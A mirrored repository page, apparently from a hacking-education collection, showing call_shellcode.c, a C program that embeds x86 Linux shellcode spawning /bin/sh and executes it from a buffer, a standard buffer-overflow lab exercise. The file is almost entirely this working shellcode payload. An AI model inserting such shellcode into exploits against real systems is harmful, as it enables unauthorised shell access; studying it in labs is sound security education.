mirror of
https://github.com/The-Art-of-Hacking/h4cker.git
synced 2024-12-25 05:55:25 +00:00
27 lines
956 B
C
27 lines
956 B
C
|
/* call_shellcode.c */
|
||
|
|
|
||
|
|
/* This program will create a file containing code for launching a shell */
|
||
|
|
|
||
|
|
#include <stdlib.h>
|
||
|
|
#include <stdio.h>
|
||
|
|
|
||
|
|
const char code[] =
|
||
|
|
"\x31\xc0" /* xorl %eax,%eax */
|
||
|
|
"\x50" /* pushl %eax */
|
||
|
|
"\x68""//sh" /* pushl $0x68732f2f */
|
||
|
|
"\x68""/bin" /* pushl $0x6e69622f */
|
||
|
|
"\x89\xe3" /* movl %esp,%ebx */
|
||
|
|
"\x50" /* pushl %eax */
|
||
|
|
"\x53" /* pushl %ebx */
|
||
|
|
"\x89\xe1" /* movl %esp,%ecx */
|
||
|
|
"\x99" /* cdq */
|
||
|
|
"\xb0\x0b" /* movb $0x0b,%al */
|
||
|
|
"\xcd\x80" /* int $0x80 */
|
||
|
|
;
|
||
|
|
|
||
|
|
int main(int argc, char **argv)
|
||
|
|
{
|
||
|
|
char buf[sizeof(code)];
|
||
|
|
strcpy(buf, code);
|
||
|
|
((void(*)( ))buf)( );
|
||
|
|
}
|